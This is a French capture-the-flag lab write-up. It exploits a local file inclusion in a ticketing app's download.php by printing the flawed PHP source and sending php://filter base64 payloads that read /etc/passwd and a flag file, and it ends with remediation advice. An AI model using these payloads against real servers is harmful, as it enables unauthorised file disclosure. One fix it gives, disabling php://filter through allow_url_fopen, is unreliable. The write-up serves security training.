Lab DocketHive : LFI via PHP Wrapper sur un Endpoint de Téléchargement Mal Filtré
Pentest d'une plateforme de billetterie événementielle : découverte d'un endpoint de téléchargement download.php, analyse du code source PHP auto-divulgué, identification d'un filtre anti-traversal contournable via le wrapper php://filter, et lecture arbitraire de fichiers système pour récupérer le flag.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | Webverse |
| Lien | Accéder au lab |
| Cible | app.dockethive.io |
| OS | Linux (nginx 1.29.8, PHP) |
| Vuln. clé | Local File Inclusion via PHP wrapper php://filter |
| Difficulté | Medium |
Scénario : DocketHive est une SaaS de billetterie événementielle basée à Portland. Un audit de sécurité est demandé avant le lancement grand public. On crée un compte et on explore la plateforme.
Kill chain :
Inscription → events → achat ticket → download.php?file=receipt.pdf
│
▼
Path traversal classique → bloqué par le filtre
│
▼
download.php comme argument → source code divulgué
│
▼
Analyse du filtre : ../ et / bloqués, mais readfile($file) sans chemin
│
▼
php://filter/convert.base64-encode/resource=/etc/passwd → contournement
│
▼
Décodage Base64 → user eric → /home/eric/flag.txt → flag
1. Reconnaissance
rustscan -b 500 -a dockethive.local -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx 1.29.8
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://app.dockethive.io/
Un seul port, nginx redirige vers app.dockethive.io. On ajoute l'entrée dans /etc/hosts :
echo "10.100.0.x app.dockethive.io" | sudo tee -a /etc/hosts
La surface d'attaque est entièrement sur l'application web.
2. Énumération Web
feroxbuster \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u 'http://app.dockethive.io'
Output (résultats pertinents) :
302 GET http://app.dockethive.io/ => /login
302 GET http://app.dockethive.io/logout => /login
302 GET http://app.dockethive.io/dashboard => /login
302 GET http://app.dockethive.io/events => /login
302 GET http://app.dockethive.io/orders => /login
302 GET http://app.dockethive.io/tickets => /login
302 GET http://app.dockethive.io/profile => /login
302 GET http://app.dockethive.io/settings => /login
302 GET http://app.dockethive.io/reports => /login
200 GET http://app.dockethive.io/register
200 GET http://app.dockethive.io/login
200 GET http://app.dockethive.io/forgot-password
301 GET http://app.dockethive.io/uploads => /uploads/
301 GET http://app.dockethive.io/templates => /templates/
301 GET http://app.dockethive.io/src => /src/
Analyse :
Toutes les pages fonctionnelles redirigent vers /login sans authentification. Deux observations importantes :
Le répertoire /src et /templates sont accessibles. Leur présence suggère que le code source de l'application est potentiellement exposé sur le serveur web.
On crée un compte pour explorer l'application authentifiée.
3. Exploration de l'Application
Dashboard et Navigation
Après inscription et connexion, l'interface présente plusieurs onglets : dashboard, events, orders, my tickets et profile.

Page Events
La page events liste les événements disponibles avec un formulaire de recherche et un bouton d'inscription.

On s'inscrit à un événement :

Après confirmation, un reçu est généré avec deux options : voir ou télécharger.

Découverte de download.php
On clique sur "Télécharger". En observant l'URL dans Burp Suite :
http://app.dockethive.io/download.php?file=receipt_20260705_123456.pdf

Un endpoint PHP download.php accepte un nom de fichier en paramètre GET et le sert au client. C'est un pattern classique de Path Traversal / Local File Inclusion.
4. Tentatives de Path Traversal
Première Tentative : Chemin Absolu
On modifie la valeur du paramètre file dans Burp Repeater pour tenter de lire /etc/passwd :
GET /download.php?file=/etc/passwd HTTP/1.1

Refusé. On essaie avec la séquence de traversal classique :
GET /download.php?file=../../../../etc/passwd HTTP/1.1

Refusé également. Un filtre bloque visiblement les séquences ../ et les chemins absolus commençant par /.
Deuxième Tentative : Extension Arbitraire
Pour comprendre le comportement exact du script, on teste avec un fichier qui n'existe pas mais qui a une extension :
GET /download.php?file=test.pdf HTTP/1.1
Warning: readfile(test.pdf): Failed to open stream: No such file or directory
in /var/www/html/download.php on line 33

Ce message d'erreur est très instructif :
- Le chemin complet du script est révélé :
/var/www/html/download.php - L'erreur vient de la fonction
readfile()appliquée directement au nom de fichier passé en paramètre
Cette erreur suggère que le script vérifie si le paramètre existe et tente de le lire. On peut exploiter ça.
Auto-divulgation du Code Source
Si download.php lit le fichier passé en paramètre alors essayons d'entrer le script en lui même :
GET /download.php?file=download.php HTTP/1.1

Le code source PHP s'affiche intégralement.
5. Analyse du Code Source
<?php
// Serves receipt PDFs and other event-related downloads
if (!isset($_GET['file'])) {
header('HTTP/1.0 400 Bad Request');
exit('Missing file parameter');
}
$file = $_GET['file'];
// Reject obviously malformed filenames
if (strpos($file, '../') !== false
|| strpos($file, '..\') !== false
|| isset($file[0]) && $file[0] === '/'
|| stripos($file, 'file://') === 0) {
header('HTTP/1.0 400 Bad Request');
exit('Invalid file path.');
}
$path = __DIR__ . '/uploads/' . $file;
if (file_exists($path)) {
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
if ($ext === 'pdf') {
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename="' . basename($path) . '"');
}
readfile($path);
} else {
readfile($file); // <-- FAILLE ICI
}
Décomposition du Code
Bloc 1 : Vérification du paramètre
Si le paramètre file est absent, retourne une erreur 400. Rien d'anormal.
Bloc 2 : Le filtre anti-traversal
Le script bloque explicitement :
../(traversal Unix)..\(traversal Windows)- Tout chemin commençant par
/(chemin absolu) - Le préfixe
file://(wrapper PHP pour les fichiers locaux)
C'est un filtre par liste noire. Il couvre les techniques les plus courantes, mais il oublie les autres wrappers PHP.
Bloc 3 : Logique de téléchargement
$path = __DIR__ . '/uploads/' . $file;
if (file_exists($path)) {
readfile($path); // Sert le fichier depuis /uploads/
} else {
readfile($file); // Sert directement le paramètre brut
}
Ce bloc gère la logique de distribution du fichier. Il construit d'abord un chemin vers le répertoire uploads/. Ensuite, il vérifie si le fichier demandé existe à cet emplacement avec file_exists(). Si c'est le cas, le fichier est servi. Dans le cas contraire, le script bascule dans la branche else et lit directement le paramètre brut $file fourni par l'utilisateur sans aucun préfixe de dossier.
La faille réside dans la branche else.
Si le fichier n'existe pas dans /uploads/, le script appelle readfile($file) avec le paramètre brut, sans aucune validation supplémentaire. Si on arrive à contourner le filtre qu'impose le bloc 2, on peut exécuter readfile() sur n'importe quel fichier du serveur.
6. Exploitation via PHP Wrapper
Référence : Deep Hacking : PHP Wrappers
Comprendre les Wrappers PHP
PHP dispose d'un système de wrappers (protocoles d'accès aux flux) qui étend les fonctions de lecture de fichiers. En plus de lire des fichiers locaux, readfile() peut traiter des flux spéciaux si leur protocole est activé.
Le wrapper php://filter permet d'appliquer des transformations sur un fichier avant de le retourner. Sa syntaxe est :
php://filter/[transformation]/resource=[chemin_du_fichier]
La transformation qu'on va utiliser est convert.base64-encode, qui encode le contenu du fichier en Base64 avant de le retourner. C'est utile pour lire des fichiers binaires ou PHP (dont le code serait autrement interprété avant d'être affiché).
Pourquoi ce wrapper fonctionne :
php://filter/convert.base64-encode/resource=/etc/passwd
-
Contournement du filtre (Bloc 2) :
- Le filtre vérifie si la chaîne commence par
/→ non, elle commence parphp://. - Le filtre vérifie si la chaîne contient
../→ non. - Le filtre vérifie si la chaîne commence par
file://→ non. Le filtre laisse donc passer la requête.
- Le filtre vérifie si la chaîne commence par
-
Contournement du dossier
uploads/(Bloc 3) :- Le script construit le chemin :
/var/www/html/uploads/php://filter/... - Il teste l'existence de ce chemin absurde avec
file_exists(). Comme ce "fichier" n'existe pas dans le dossieruploads/, la fonction retournefalse. - Le script bascule alors dans la branche
else(notre faille) et appellereadfile($file)directement sur le paramètre fourni.
- Le script construit le chemin :
Au final, readfile() évalue notre payload comme un wrapper PHP valide et lit /etc/passwd en lui appliquant l'encodage Base64.
Lecture de /etc/passwd
GET /download.php?file=php://filter/convert.base64-encode/resource=/etc/passwd HTTP/1.1

Le serveur retourne une longue chaîne Base64. On la décode dans Burp :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
eric:x:1001:1001::/home/eric:/bin/bash
Un utilisateur non-système est présent : eric, avec son home dans /home/eric/.
Lecture du Flag
Dans les CTF, le flag est conventionnellement nommé flag.txt et placé dans le répertoire home de l'utilisateur :
GET /download.php?file=php://filter/convert.base64-encode/resource=/home/eric/flag.txt HTTP/1.1

Flag récupéré.
7. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → nginx port 80, redirection app.dockethive.io
2. Feroxbuster → /uploads, /download.php pattern identifié
3. Inscription → achat ticket → download.php?file=receipt.pdf
4. Traversal classique → bloqué par le filtre
5. Erreur test.pdf → chemin /var/www/html révélé, readfile($file) confirmé
6. download.php → code source auto-divulgué, filtre analysé
7. php://filter → contourne la liste noire, base64-encode /etc/passwd
8. /etc/passwd → user eric découvert
9. /home/eric/flag.txt → flag
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Liste noire incomplète | Le filtre bloque ../, / et file:// mais oublie php://, data://, expect:// et les autres wrappers PHP | Utiliser une liste blanche plutôt qu'une liste noire : n'autoriser que des noms de fichiers correspondant au pattern ^[a-zA-Z0-9_-]+\.pdf$. Tout le reste est rejeté |
Branche else dangereuse | readfile($file) est appelé avec le paramètre brut quand le fichier n'existe pas dans /uploads/ | Supprimer la branche else. Si le fichier n'est pas dans /uploads/, retourner une erreur 404 et arrêter l'exécution |
| Messages d'erreur verbeux | L'erreur PHP révèle le chemin absolu /var/www/html/download.php | Désactiver l'affichage des erreurs PHP en production : display_errors = Off dans php.ini. Logger les erreurs côté serveur uniquement |
| Code source accessible | download.php peut lire son propre code source | Résultat direct de la faille. La correction de la branche else résout ce problème |
| Wrappers PHP activés | php://filter est actif et utilisable | Si les wrappers ne sont pas nécessaires, les désactiver via allow_url_fopen = Off dans php.ini. Note : cela n'est pas suffisant seul si le filtre reste basé sur une liste noire |
[!NOTE] Ce lab illustre une erreur de conception fréquente : un filtre construit par liste noire. Le développeur a pensé aux séquences de traversal les plus connues (
../, chemins absolus,file://) mais a oublié que PHP offre une dizaine d'autres wrappers qui font la même chose différemment. Une liste blanche, qui n'autorise que ce qu'on connaît et attend, est toujours plus robuste qu'une liste noire qui tente d'anticiper tout ce qu'un attaquant pourrait essayer.
Writeup rédigé par Zcook
